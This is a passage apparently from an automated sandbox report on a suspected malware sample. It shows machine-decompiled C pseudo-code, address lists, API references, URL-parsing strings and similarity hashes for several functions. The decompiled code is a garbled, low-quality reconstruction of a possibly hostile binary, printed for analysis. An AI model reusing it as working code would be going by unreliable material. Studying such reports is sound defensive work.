				r8d = 2;
				return  *((long long*)( *((intOrPtr*)(_t94 + 0x18))))();
			}

0x7ff79baa3bb4
0x7ff79baa3bb4
0x7ff79baa3bbf
0x7ff79baa3bc4
0x7ff79baa3bcb
0x7ff79baa3bd3
0x7ff79baa3bd9
0x7ff79baa3bdc
0x7ff79baa3be7
0x7ff79baa3bf1
0x7ff79baa3bf4
0x7ff79baa3bf8
0x7ff79baa3bf8
0x7ff79baa3bfc
0x7ff79baa3c04
0x7ff79baa3c08
0x7ff79baa3c0b
0x7ff79baa3c0f
0x7ff79baa3c13
0x7ff79baa3c13
0x7ff79baa3c17
0x7ff79baa3c1b
0x7ff79baa3c1f
0x7ff79baa3c23
0x7ff79baa3c29
0x7ff79baa3c2d
0x7ff79baa3c31
0x7ff79baa3c39
0x7ff79baa3c3f
0x7ff79baa3c4b
0x7ff79baa3c51
0x7ff79baa3c58
0x7ff79baa3c5f
0x7ff79baa3c66
0x7ff79baa3c68
0x7ff79baa3c6e
0x7ff79baa3c7c
0x7ff79baa3c83
0x7ff79baa3c86
0x7ff79baa3c8a
0x7ff79baa3c8e
0x7ff79baa3c92
0x7ff79baa3c97
0x7ff79baa3c9c
0x7ff79baa3ca8
0x7ff79baa3cb0
0x7ff79baa3cbf
0x7ff79baa3cc3
0x7ff79baa3ccf
0x7ff79baa3cd3
0x7ff79baa3cdf
0x7ff79baa3ce3
0x7ff79baa3cef
0x7ff79baa3cf6
0x7ff79baa3cfb
0x7ff79baa3d0d
0x7ff79baa3d14
0x7ff79baa3d1b
0x7ff79baa3d22
0x7ff79baa3d29
0x7ff79baa3d30
0x7ff79baa3d39
0x7ff79baa3d3c
0x7ff79baa3d40
0x7ff79baa3d44
0x7ff79baa3d48
0x7ff79baa3d50
0x7ff79baa3d54
0x7ff79baa3d5b
0x7ff79baa3d62
0x7ff79baa3d66
0x7ff79baa3d6a
0x7ff79baa3d74
0x7ff79baa3d74
0x7ff79baa3d7c
0x7ff79baa3d81
0x7ff79baa3d88
0x7ff79baa3d8c
0x7ff79baa3d97
0x7ff79baa3d9c
0x7ff79baa3da1
0x7ff79baa3da6
0x7ff79baa3daf
0x7ff79baa3db4
0x7ff79baa3db7
0x7ff79baa3dd7

APIs

malloc.MSVCRT ref: 00007FF79BAA3C39
malloc.MSVCRT ref: 00007FF79BAA3C4B
InitSecurityInterfaceA.SECUR32 ref: 00007FF79BAA3C68
atexit.MSVCRT ref: 00007FF79BAA3C7C
memset.MSVCRT ref: 00007FF79BAA3D7C

Strings

Microsoft Unified Security Protocol Provider, xrefs: 00007FF79BAA3DBA

Memory Dump Source

Source File: 00000000.00000002.513438044.00007FF79BAA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79BAA0000, based on PE: true

Associated: 00000000.00000002.513412937.00007FF79BAA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513607536.00007FF79BAB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513720333.00007FF79BABD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513738639.00007FF79BABE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79baa0000_SPXp2YHDFz.jbxd

Similarity

API ID: malloc$InitInterfaceSecurityatexitmemset
String ID: Microsoft Unified Security Protocol Provider
API String ID: 1208695405-238809041
Opcode ID: b6eab0d73536be97ec613e6ea956ef9092810ebc5992a1e745fd08f63a3bd1e9
Instruction ID: b2d175ddfa95636926f5859542bf0b84a1e163fb8a8da20c8de524b2d493cf0a
Opcode Fuzzy Hash: b6eab0d73536be97ec613e6ea956ef9092810ebc5992a1e745fd08f63a3bd1e9
Instruction Fuzzy Hash: A9511472A04B808AE3509F78E84079C77E9F748B58F548239DE9D577A8EF38C1A4C360

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF79BAB2DE0 Relevance: 9.0, APIs: 6, Instructions: 44
COMMON

Download Yara Rule

C-Code - Quality: 19%

			E00007FF77FF79BAB2DE0(long long _a8, long long _a16, long long _a24) {
				long long _v24;
				void* _t14;
				void* _t15;
				long long _t20;
				intOrPtr _t21;
				long long _t33;
				long long _t34;
				intOrPtr _t35;

				_v24 = 0xfffffffe;
				_a16 = _t20;
				_a24 = _t34;
				_t21 =  *0x9babd058; // 0x0
				_t35 =  *0x9babd060; // 0x0
				goto 0x9bab2e6c;
				_t33 =  *((intOrPtr*)(_t21 + 0x20));
				_a8 = _t33;
				if (_t33 == 0) goto 0x9bab2e68;
				free(??);
				free(??);
				free(??);
				free(??);
				_t15 = E00007FF77FF79BAA1BDC(_t14, _t33 + 0x38);
				DeleteCriticalSection(??);
				free(??);
				if (_t21 + 0x28 != _t35) goto 0x9bab2e09;
				_a8 = 0x9babd050;
				E00007FF77FF79BAA8C58(_t15, _t21 + 0x28, 0x9babd050, _t35);
				return free(??);
			}

0x7ff79bab2de6
0x7ff79bab2def
0x7ff79bab2df4
0x7ff79bab2df9
0x7ff79bab2e00
0x7ff79bab2e07
0x7ff79bab2e09
0x7ff79bab2e0d
0x7ff79bab2e15
0x7ff79bab2e1e
0x7ff79bab2e2c
0x7ff79bab2e3a
0x7ff79bab2e45
0x7ff79bab2e50
0x7ff79bab2e59
0x7ff79bab2e62
0x7ff79bab2e6f
0x7ff79bab2e78
0x7ff79bab2e7d
0x7ff79bab2e99

APIs

free.MSVCRT ref: 00007FF79BAB2E1E
free.MSVCRT ref: 00007FF79BAB2E2C
free.MSVCRT ref: 00007FF79BAB2E3A
free.MSVCRT ref: 00007FF79BAB2E45
DeleteCriticalSection.KERNEL32 ref: 00007FF79BAB2E59
free.MSVCRT ref: 00007FF79BAB2E62

Memory Dump Source

Source File: 00000000.00000002.513438044.00007FF79BAA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79BAA0000, based on PE: true

Associated: 00000000.00000002.513412937.00007FF79BAA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513607536.00007FF79BAB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513720333.00007FF79BABD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513738639.00007FF79BABE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79baa0000_SPXp2YHDFz.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: 4235c8bfa992bcea25c8ae2513d292fdc3e4caf47bee42240a2aac4c28145a75
Instruction ID: b851c425b94fedcaa280627a9534b54c389ecad1574596400a022b487e9e03b8
Opcode Fuzzy Hash: 4235c8bfa992bcea25c8ae2513d292fdc3e4caf47bee42240a2aac4c28145a75
Instruction Fuzzy Hash: 12112431908A59D2EA25AB39E940979F370FB85BA0F800232DA7E136B5CF3CE655C310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF79BAAE0B8 Relevance: 8.0, APIs: 1, Strings: 4, Instructions: 484
COMMON

Download Yara Rule

C-Code - Quality: 48%

			E00007FF77FF79BAAE0B8(void* __edx, void* __eflags, long long __rbx, long long __rcx, signed long long __rdx, void* __r8) {
				void* __rsi;
				void* __rbp;
				void* _t226;
				void* _t228;
				void* _t232;
				void* _t233;
				void* _t235;
				void* _t236;
				void* _t237;
				void* _t238;
				void* _t239;
				void* _t243;
				void* _t248;
				void* _t250;
				void* _t266;
				void* _t289;
				signed short _t291;
				signed int _t296;
				void* _t298;
				signed int _t305;
				void* _t310;
				signed long long _t315;
				signed long long _t316;
				void* _t321;
				signed long long _t327;
				signed long long _t331;
				signed long long _t332;
				signed long long _t337;
				signed long long _t348;
				signed long long _t352;
				signed long long _t360;
				signed long long _t362;
				void* _t367;
				signed int _t368;
				signed int _t392;
				signed long long _t409;
				void* _t411;
				signed long long _t428;
				void* _t437;
				signed int _t441;
				signed long long _t442;
				void* _t444;
				signed long long _t459;
				void* _t463;
				signed long long _t466;
				signed long long _t473;
				signed long long _t474;
				void* _t475;
				long long _t478;
				void* _t481;
				void* _t483;
				void* _t486;
				signed short _t487;
				void* _t491;
				signed int _t493;
				void* _t496;
				signed int _t498;
				void* _t512;
				signed int _t517;
				intOrPtr _t518;
				signed int _t519;
				signed int _t520;
				signed int _t522;
				void* _t525;
				intOrPtr _t528;
				signed int _t531;
				signed short _t534;
				signed short _t536;
				void* _t537;
				signed short _t541;
				intOrPtr _t542;
				char* _t546;
				signed short _t547;

				_t486 = __r8;
				_t266 = __eflags;
				_t289 = _t483;
				 *((long long*)(_t289 + 8)) = __rcx;
				_push(_t473);
				_t481 = _t289 - 0x5f;
				 *((long long*)(_t481 + 0x17)) = 0xfffffffe;
				 *((long long*)(_t289 + 0x10)) = __rbx;
				_t478 = __rcx;
				 *((intOrPtr*)(_t481 - 0x69)) = 0;
				_t352 = __rdx;
				_t226 = E00007FF77FF79BAA1B1C(__rdx, __rcx);
				_t534 = _t478 + 0x20;
				 *(_t481 + 0x77) = _t534;
				 *((long long*)(_t534 + 8)) = __rbx;
				 *((long long*)(_t534 + 0x10)) = __rbx;
				 *((long long*)(_t534 + 0x18)) = __rbx;
				_t291 = _t478 + 0x40;
				 *(_t481 + 0x77) = _t291;
				 *((long long*)(_t291 + 8)) = __rbx;
				 *((long long*)(_t291 + 0x10)) = __rbx;
				 *((long long*)(_t291 + 0x18)) = __rbx;
				_t541 = _t478 + 0x60;
				 *(_t481 + 0x77) = _t541;
				 *((long long*)(_t541 + 8)) = __rbx;
				 *((long long*)(_t541 + 0x10)) = __rbx;
				 *((long long*)(_t541 + 0x18)) = __rbx;
				_t547 = _t478 + 0x80;
				 *(_t481 + 0x77) = _t547;
				 *((long long*)(_t547 + 8)) = __rbx;
				 *((long long*)(_t547 + 0x10)) = __rbx;
				 *((long long*)(_t547 + 0x18)) = __rbx;
				 *(_t481 - 0x29) = 0x9bab53e4;
				 *((long long*)(_t481 - 0x21)) = 0x9bab53e7;
				_t522 =  *((intOrPtr*)(_t478 + 8));
				_t348 =  *((intOrPtr*)(_t478 + 0x10)) - _t522;
				asm("dec eax");
				_t296 = (_t352 & _t348 - 0x00000001) + _t522;
				 *(_t481 - 0x49) = _t522;
				 *(_t481 - 0x41) = _t296;
				asm("movaps xmm0, [ebp-0x49]");
				asm("movdqa [ebp-0x49], xmm0");
				asm("movaps xmm1, [ebp-0x29]");
				asm("movdqa [ebp-0x59], xmm1");
				r8d = 0;
				_t428 = _t481 - 0x59;
				E00007FF77FF79BAA17E4(_t226, _t266, _t296, _t348, _t481 - 0x49, _t428, _t478, _t481, _t486);
				 *(_t481 + 0x7f) = _t296;
				_t474 = _t473 | 0xffffffff;
				if (_t296 == _t474) goto 0x9baae1dc;
				_t37 = _t296 + 3; // 0x3
				_t487 = _t37;
				 *(_t481 + 0x77) = _t487;
				asm("dec eax");
				_t298 =  <  ? _t428 & _t348 - 0x00000001 : _t487;
				goto 0x9baae1f2;
				 *(_t481 + 0x77) = 2;
				_t228 = E00007FF77FF79BAA1BA8(_t298, _t481 - 9);
				_t491 = _t298;
				 *((intOrPtr*)(_t481 - 0x69)) = 8;
				 *((long long*)(_t534 + 8)) =  *((intOrPtr*)(_t298 + 8));
				 *((long long*)(_t298 + 8)) =  *((intOrPtr*)(_t534 + 8));
				 *((long long*)(_t534 + 0x10)) =  *((intOrPtr*)(_t298 + 0x10));
				 *((long long*)(_t298 + 0x10)) =  *((intOrPtr*)(_t534 + 0x10));
				 *((long long*)(_t534 + 0x18)) =  *((intOrPtr*)(_t298 + 0x18));
				 *((long long*)(_t491 + 0x18)) =  *((intOrPtr*)(_t534 + 0x18));
				 *((intOrPtr*)(_t481 - 0x69)) = 8;
				_t360 = _t481 - 9;
				E00007FF77FF79BAA1BDC(_t228, _t360);
				r8d = 0;
				_t492 =  !=  ?  *(_t481 + 0x77) : _t491;
				 *(_t481 + 0x7f) =  !=  ?  *(_t481 + 0x77) : _t491;
				 *(_t481 - 0x59) = 0x9bab38e8;
				 *((long long*)(_t481 - 0x51)) = 0x9bab38e9;
				_t517 =  *((intOrPtr*)(_t478 + 8));
				 *(_t481 - 0x29) = _t517;
				_t525 =  *((intOrPtr*)(_t478 + 0x10)) - _t517;
				 *(_t481 + 0x77) = _t525 - 1;
				asm("dec eax");
				_t305 = (_t360 & _t525 - 0x00000001) + _t517;
				 *(_t481 - 0x49) = _t517;
				 *(_t481 - 0x41) = _t305;
				asm("movaps xmm0, [ebp-0x49]");
				asm("movdqa [ebp-0x49], xmm0");
				asm("movaps xmm1, [ebp-0x59]");
				asm("movdqa [ebp-0x59], xmm1");
				_t362 = _t481 - 0x49;
				E00007FF77FF79BAA17E4(0,  *(_t481 + 0x7f) - _t474, _t305,  ~_t348, _t362, _t481 - 0x59, _t478, _t481,  !=  ?  *(_t481 + 0x77) : _t491);
				 *(_t481 - 0x49) = _t305;
				_t493 =  *(_t481 + 0x7f);
				if (_t305 == _t474) goto 0x9baae2f8;
				asm("dec eax");
				_t437 =  <  ? (_t362 &  *(_t481 + 0x77)) - _t493 : _t305 - _t493;
				goto 0x9baae316;
				asm("dec eax");
				_t367 = ( *(_t481 - 0x29) &  *(_t481 + 0x77)) - _t493;
				_t308 =  <  ? _t367 : _t474;
				_t368 =  *(_t481 - 0x29);
				_t309 = ( <  ? _t367 : _t474) + _t368;
				_t310 = ( <  ? _t367 : _t474) + _t368 - _t368 + _t493;
				_t232 = E00007FF77FF79BAA1BA8(_t310, _t481 - 9);
				 *((intOrPtr*)(_t481 - 0x69)) = 8;
				 *((long long*)(_t541 + 8)) =  *((intOrPtr*)(_t310 + 8));
				 *((long long*)(_t310 + 8)) =  *((intOrPtr*)(_t541 + 8));
				 *((long long*)(_t541 + 0x10)) =  *((intOrPtr*)(_t310 + 0x10));
				 *((long long*)(_t310 + 0x10)) =  *((intOrPtr*)(_t541 + 0x10));
				 *((long long*)(_t541 + 0x18)) =  *((intOrPtr*)(_t310 + 0x18));
				 *((long long*)(_t310 + 0x18)) =  *((intOrPtr*)(_t541 + 0x18));
				 *((intOrPtr*)(_t481 - 0x69)) = 8;
				_t233 = E00007FF77FF79BAA1BDC(_t232, _t481 - 9);
				 *(_t481 - 0x29) = ":";
				 *((long long*)(_t481 - 0x21)) = 0x9bab53f1;
				_t441 =  *((intOrPtr*)(_t541 + 8));
				_t528 =  *((intOrPtr*)(_t541 + 0x10));
				_t315 = _t528 - _t441;
				_t316 =  ~_t315;
				asm("dec eax");
				 *(_t481 - 0x59) = _t441;
				 *((long long*)(_t481 - 0x51)) = (_t315 - 0x00000001 & _t316) + _t441;
				asm("movaps xmm0, [ebp-0x59]");
				asm("movdqa [ebp-0x39], xmm0");
				asm("movaps xmm1, [ebp-0x29]");
				asm("movdqa [ebp-0x59], xmm1");
				r8d = 0;
				_t442 = _t481 - 0x59;
				E00007FF77FF79BAA17E4(_t233, _t367 - _t474, _t316,  ~_t348, _t481 - 0x39, _t442, _t478, _t481, _t310);
				 *(_t481 + 0x77) = _t316;
				if (_t316 == _t474) goto 0x9baae41b;
				_t108 = _t316 + 1; // 0x1
				_t496 = _t108;
				_t518 =  *((intOrPtr*)(_t541 + 8));
				asm("dec eax");
				_t444 = (_t442 & _t528 - _t518 - 0x00000001) - _t496;
				_t380 =  <  ? _t444 : _t474;
				_t381 = ( <  ? _t444 : _t474) + _t518;
				_t382 = ( <  ? _t444 : _t474) + _t518 + _t496;
				 *(_t481 - 0x59) = _t518 + _t496;
				 *((long long*)(_t481 - 0x51)) = ( <  ? _t444 : _t474) + _t518 + _t496;
				r12d = 0;
				goto 0x9baae4fe;
				_t235 = E00007FF77FF79BAA1BA8(_t518 + _t496, _t481 - 9);
				 *((intOrPtr*)(_t481 - 0x69)) = 1;
				_t498 =  *((intOrPtr*)(_t481 - 1));
				asm("dec eax");
				 *(_t481 - 0x59) = _t498;
				 *((long long*)(_t481 - 0x51)) = ("http://" &  *((intOrPtr*)(_t481 + 7)) - _t498 - 0x00000001) + _t498;
				asm("movaps xmm0, [ebp-0x59]");
				asm("movdqa [ebp-0x39], xmm0");
				_t236 = E00007FF77FF79BAA1C38(_t235, _t316, _t481 - 0x39);
				r12d = 0;
				if (_t236 == 0) goto 0x9baae47d;
				goto 0x9baae4e3;
				_t237 = E00007FF77FF79BAA1BA8( *((intOrPtr*)(_t481 + 7)) - _t498 - 1, _t481 - 0x29);
				 *((intOrPtr*)(_t481 - 0x69)) = 3;
				_t519 =  *((intOrPtr*)(_t481 - 0x21));
				asm("dec ebp");
				 *(_t481 - 0x59) = _t519;
				 *((long long*)(_t481 - 0x51)) = (_t474 &  *((intOrPtr*)(_t481 - 0x19)) - _t519 - 0x00000001) + _t519;
				asm("movaps xmm0, [ebp-0x59]");
				asm("movdqa [ebp-0x39], xmm0");
				_t238 = E00007FF77FF79BAA1C38(_t237, _t316, _t481 - 0x39);
				_t392 =  !=  ? "443" : "0";
				_t321 = _t474 + 1;
				if ( *((intOrPtr*)(_t392 + _t321)) != r12b) goto 0x9baae4e6;
				 *(_t481 - 0x59) = _t392;
				 *((long long*)(_t481 - 0x51)) = _t321 + _t392;
				_t536 =  *(_t481 + 0x77);
				asm("movups xmm0, [eax]");
				asm("movdqu [ebp-0x39], xmm0");
				if (2 == 0) goto 0x9baae51f;
				 *((intOrPtr*)(_t481 - 0x69)) = 1;
				_t239 = E00007FF77FF79BAA1BDC(_t238, _t481 - 0x29);
				if (1 == 0) goto 0x9baae533;
				 *((intOrPtr*)(_t481 - 0x69)) = 0;
				E00007FF77FF79BAA1BDC(_t239, _t481 - 9);
				 *(_t481 + 0x77) = r12d;
				sscanf(_t546);
				 *((short*)(_t478 + 0xa0)) =  *(_t481 + 0x77) & 0x0000ffff;
				if (_t536 == _t474) goto 0x9baae5d3;
				asm("dec eax");
				_t327 =  ~( *((intOrPtr*)(_t541 + 0x10)) -  *((intOrPtr*)(_t541 + 8))) &  *((intOrPtr*)(_t541 + 0x10)) -  *((intOrPtr*)(_t541 + 8)) - 0x00000001;
				_t537 =  <  ? _t327 : _t536;
				_t243 = E00007FF77FF79BAA1BA8(_t327, _t481 - 9);
				 *((intOrPtr*)(_t481 - 0x69)) = 0x20;
				 *((long long*)(_t541 + 8)) =  *((intOrPtr*)(_t327 + 8));
				 *((long long*)(_t327 + 8)) =  *((intOrPtr*)(_t541 + 8));
				 *((long long*)(_t541 + 0x10)) =  *((intOrPtr*)(_t327 + 0x10));
				 *((long long*)(_t327 + 0x10)) =  *((intOrPtr*)(_t541 + 0x10));
				 *((long long*)(_t541 + 0x18)) =  *((intOrPtr*)(_t327 + 0x18));
				 *((long long*)(_t327 + 0x18)) =  *((intOrPtr*)(_t541 + 0x18));
				 *((intOrPtr*)(_t481 - 0x69)) = 0;
				E00007FF77FF79BAA1BDC(_t243, _t481 - 9);
				 *(_t481 - 0x29) = 0x9bab38ec;
				 *((long long*)(_t481 - 0x21)) = 0x9bab38ed;
				_t531 =  *((intOrPtr*)(_t541 + 8));
				_t542 =  *((intOrPtr*)(_t541 + 0x10));
				_t331 = _t542 - _t531;
				_t332 =  ~_t331;
				asm("dec eax");
				 *(_t481 - 0x59) = _t531;
				 *((long long*)(_t481 - 0x51)) = (_t331 - 0x00000001 & _t332) + _t531;
				asm("movaps xmm0, [ebp-0x59]");
				asm("movdqa [ebp-0x59], xmm0");
				asm("movaps xmm1, [ebp-0x29]");
				asm("movdqa [ebp-0x39], xmm1");
				_t459 = _t481 - 0x39;
				E00007FF77FF79BAA1894(_t327 - _t536,  ~_t348, _t481 - 0x59, _t459, _t478);
				if (_t332 != _t474) goto 0x9baae63b;
				goto 0x9baae686;
				asm("dec eax");
				_t507 =  <  ? _t459 & _t542 - _t531 - 0x00000001 : _t332;
				 *(_t481 - 0x29) = _t531;
				 *((long long*)(_t481 - 0x21)) = _t531 + ( <  ? _t459 & _t542 - _t531 - 0x00000001 : _t332);
				 *(_t481 - 0x59) = 0x9bab38ec;
				 *((long long*)(_t481 - 0x51)) = 0x9bab38ed;
				asm("movaps xmm0, [ebp-0x59]");
				asm("movdqa [ebp-0x39], xmm0");
				_t409 = _t481 - 0x29;
				E00007FF77FF79BAA1894((_t459 & _t542 - _t531 - 0x00000001) - _t332,  ~_t348, _t409, _t481 - 0x39, _t478);
				_t463 =  ==  ? 0x9bab38ed : 0x7ff79bab38ee;
				_t337 = _t542 - _t531 - 1;
				asm("dec eax");
				_t411 = (_t409 & _t337) - _t463;
				_t509 =  <  ? _t411 : _t474;
				_t510 = ( <  ? _t411 : _t474) + _t531;
				_t511 = ( <  ? _t411 : _t474) + _t531 + _t463;
				_t512 = ( <  ? _t411 : _t474) + _t531 + _t463 - _t463 + _t531;
				_t248 = E00007FF77FF79BAA1BA8(_t337, _t481 - 9);
				 *((intOrPtr*)(_t481 - 0x69)) = 0x40;
				 *((long long*)(_t478 + 0x48)) =  *((intOrPtr*)(_t337 + 8));
				 *((long long*)(_t337 + 8)) =  *((intOrPtr*)(_t478 + 0x48));
				_t466 =  *((intOrPtr*)(_t478 + 0x50));
				 *((long long*)(_t478 + 0x50)) =  *(_t337 + 0x10);
				 *(_t337 + 0x10) = _t466;
				 *((long long*)(_t478 + 0x58)) =  *((intOrPtr*)(_t337 + 0x18));
				 *((long long*)(_t337 + 0x18)) =  *((intOrPtr*)(_t478 + 0x58));
				 *((intOrPtr*)(_t481 - 0x69)) = 0;
				E00007FF77FF79BAA1BDC(_t248, _t481 - 9);
				_t520 =  *(_t481 - 0x49);
				if (_t520 == _t474) goto 0x9baae748;
				asm("dec eax");
				_t475 =  <  ? (_t466 &  *((intOrPtr*)(_t478 + 0x10)) -  *((intOrPtr*)(_t478 + 8)) - 0x00000001) - _t520 : _t474;
				goto 0x9baae756;
				_t250 = E00007FF77FF79BAA1BA8(1, _t481 - 9);
				asm("bts ebx, 0x7");
				 *((intOrPtr*)(_t481 - 0x69)) = 0;
				 *((long long*)(_t547 + 8)) =  *((intOrPtr*)(9));
				 *((long long*)(9)) =  *((intOrPtr*)(_t547 + 8));
				 *((long long*)(_t547 + 0x10)) =  *((intOrPtr*)(0x11));
				 *((long long*)(0x11)) =  *((intOrPtr*)(_t547 + 0x10));
				 *((long long*)(_t547 + 0x18)) =  *((intOrPtr*)(0x19));
				 *((long long*)(0x19)) =  *((intOrPtr*)(_t547 + 0x18));
				asm("btr ebx, 0x7");
				 *((intOrPtr*)(_t481 - 0x69)) = 0;
				return E00007FF77FF79BAA1BDC(_t250, _t481 - 9);
			}

0x7ff79baae0b8
0x7ff79baae0b8
0x7ff79baae0b8
0x7ff79baae0bb
0x7ff79baae0c1
0x7ff79baae0ca
0x7ff79baae0d5
0x7ff79baae0dd
0x7ff79baae0e4
0x7ff79baae0e9
0x7ff79baae0ef
0x7ff79baae0f2
0x7ff79baae0f8
0x7ff79baae0fc
0x7ff79baae100
0x7ff79baae104
0x7ff79baae108
0x7ff79baae10c
0x7ff79baae110
0x7ff79baae114
0x7ff79baae118
0x7ff79baae11c
0x7ff79baae120
0x7ff79baae124
0x7ff79baae128
0x7ff79baae12c
0x7ff79baae130
0x7ff79baae134
0x7ff79baae13b
0x7ff79baae13f
0x7ff79baae143
0x7ff79baae147
0x7ff79baae152
0x7ff79baae15d
0x7ff79baae161
0x7ff79baae169
0x7ff79baae176
0x7ff79baae17c
0x7ff79baae180
0x7ff79baae184
0x7ff79baae188
0x7ff79baae18c
0x7ff79baae191
0x7ff79baae195
0x7ff79baae19a
0x7ff79baae19d
0x7ff79baae1a5
0x7ff79baae1aa
0x7ff79baae1ae
0x7ff79baae1b5
0x7ff79baae1b7
0x7ff79baae1b7
0x7ff79baae1bb
0x7ff79baae1c6
0x7ff79baae1d2
0x7ff79baae1da
0x7ff79baae1e3
0x7ff79baae1fc
0x7ff79baae201
0x7ff79baae209
0x7ff79baae214
0x7ff79baae218
0x7ff79baae224
0x7ff79baae228
0x7ff79baae234
0x7ff79baae238
0x7ff79baae23f
0x7ff79baae242
0x7ff79baae246
0x7ff79baae24d
0x7ff79baae254
0x7ff79baae259
0x7ff79baae264
0x7ff79baae26f
0x7ff79baae273
0x7ff79baae277
0x7ff79baae27f
0x7ff79baae287
0x7ff79baae296
0x7ff79baae29c
0x7ff79baae2a0
0x7ff79baae2a4
0x7ff79baae2a8
0x7ff79baae2ac
0x7ff79baae2b1
0x7ff79baae2b5
0x7ff79baae2be
0x7ff79baae2c2
0x7ff79baae2c7
0x7ff79baae2cb
0x7ff79baae2d2
0x7ff79baae2dd
0x7ff79baae2ea
0x7ff79baae2f6
0x7ff79baae2fb
0x7ff79baae302
0x7ff79baae30b
0x7ff79baae30f
0x7ff79baae313
0x7ff79baae31a
0x7ff79baae324
0x7ff79baae32f
0x7ff79baae33a
0x7ff79baae33e
0x7ff79baae34a
0x7ff79baae34e
0x7ff79baae35a
0x7ff79baae35e
0x7ff79baae365
0x7ff79baae36c
0x7ff79baae378
0x7ff79baae383
0x7ff79baae387
0x7ff79baae38b
0x7ff79baae392
0x7ff79baae399
0x7ff79baae39c
0x7ff79baae3a5
0x7ff79baae3a9
0x7ff79baae3ad
0x7ff79baae3b1
0x7ff79baae3b6
0x7ff79baae3ba
0x7ff79baae3bf
0x7ff79baae3c2
0x7ff79baae3ca
0x7ff79baae3cf
0x7ff79baae3d6
0x7ff79baae3db
0x7ff79baae3db
0x7ff79baae3df
0x7ff79baae3ee
0x7ff79baae3f4
0x7ff79baae3fd
0x7ff79baae401
0x7ff79baae404
0x7ff79baae40b
0x7ff79baae40f
0x7ff79baae413
0x7ff79baae416
0x7ff79baae429
0x7ff79baae432
0x7ff79baae439
0x7ff79baae447
0x7ff79baae450
0x7ff79baae454
0x7ff79baae458
0x7ff79baae45c
0x7ff79baae468
0x7ff79baae46d
0x7ff79baae472
0x7ff79baae47b
0x7ff79baae48b
0x7ff79baae494
0x7ff79baae49b
0x7ff79baae4a9
0x7ff79baae4b2
0x7ff79baae4b6
0x7ff79baae4ba
0x7ff79baae4be
0x7ff79baae4ca
0x7ff79baae4df
0x7ff79baae4e6
0x7ff79baae4ed
0x7ff79baae4f2
0x7ff79baae4f6
0x7ff79baae4fa
0x7ff79baae502
0x7ff79baae505
0x7ff79baae50d
0x7ff79baae512
0x7ff79baae519
0x7ff79baae522
0x7ff79baae527
0x7ff79baae52e
0x7ff79baae533
0x7ff79baae546
0x7ff79baae550
0x7ff79baae55a
0x7ff79baae56e
0x7ff79baae571
0x7ff79baae577
0x7ff79baae586
0x7ff79baae591
0x7ff79baae59c
0x7ff79baae5a0
0x7ff79baae5ac
0x7ff79baae5b0
0x7ff79baae5bc
0x7ff79baae5c0
0x7ff79baae5c7
0x7ff79baae5ce
0x7ff79baae5da
0x7ff79baae5e5
0x7ff79baae5e9
0x7ff79baae5ed
0x7ff79baae5f4
0x7ff79baae5fb
0x7ff79baae5fe
0x7ff79baae607
0x7ff79baae60b
0x7ff79baae60f
0x7ff79baae613
0x7ff79baae618
0x7ff79baae61c
0x7ff79baae621
0x7ff79baae629
0x7ff79baae634
0x7ff79baae639
0x7ff79baae648
0x7ff79baae651
0x7ff79baae659
0x7ff79baae65d
0x7ff79baae661
0x7ff79baae66c
0x7ff79baae670
0x7ff79baae674
0x7ff79baae67d
0x7ff79baae681
0x7ff79baae692
0x7ff79baae699
0x7ff79baae6a0
0x7ff79baae6a6
0x7ff79baae6af
0x7ff79baae6b3
0x7ff79baae6b6
0x7ff79baae6bc
0x7ff79baae6c3
0x7ff79baae6ce
0x7ff79baae6d9
0x7ff79baae6dd
0x7ff79baae6e1
0x7ff79baae6e9
0x7ff79baae6ed
0x7ff79baae6f9
0x7ff79baae6fd
0x7ff79baae704
0x7ff79baae70b
0x7ff79baae710
0x7ff79baae717
0x7ff79baae72b
0x7ff79baae737
0x7ff79baae746
0x7ff79baae760
0x7ff79baae768
0x7ff79baae76c
0x7ff79baae777
0x7ff79baae77b
0x7ff79baae787
0x7ff79baae78b
0x7ff79baae797
0x7ff79baae79b
0x7ff79baae79f
0x7ff79baae7a3
0x7ff79baae7cd

APIs

sscanf.MSVCRT ref: 00007FF79BAAE546

Strings

https://, xrefs: 00007FF79BAAE480
http://, xrefs: 00007FF79BAAE1DC, 00007FF79BAAE41E
443, xrefs: 00007FF79BAAE4CF
://, xrefs: 00007FF79BAAE14B

Memory Dump Source

Source File: 00000000.00000002.513438044.00007FF79BAA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79BAA0000, based on PE: true

Associated: 00000000.00000002.513412937.00007FF79BAA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513607536.00007FF79BAB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513720333.00007FF79BABD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.513738639.00007FF79BABE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79baa0000_SPXp2YHDFz.jbxd

Similarity

API ID: sscanf
String ID: 443$://$http://$https://
API String ID: 3173990253-1974554892
Opcode ID: 689b4c43491ffd35968128b6749c164417969391997a1241c145b8f9a90aeb01
Instruction ID: c306e0bcedad781a2c770ed6d258e55486db8f3f8161030b90832264eb73c310
Opcode Fuzzy Hash: 689b4c43491ffd35968128b6749c164417969391997a1241c145b8f9a90aeb01
Instruction Fuzzy Hash: C1226972B04B989AEB10DFB8D4805ECB3B6FB58B887914126CE5D57B64EF38D254C390

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF79BAAD6D8 Relevance: 7.7, APIs: 4, Strings: 1, Instructions: 223
COMMON

Download Yara Rule

C-Code - Quality: 49%

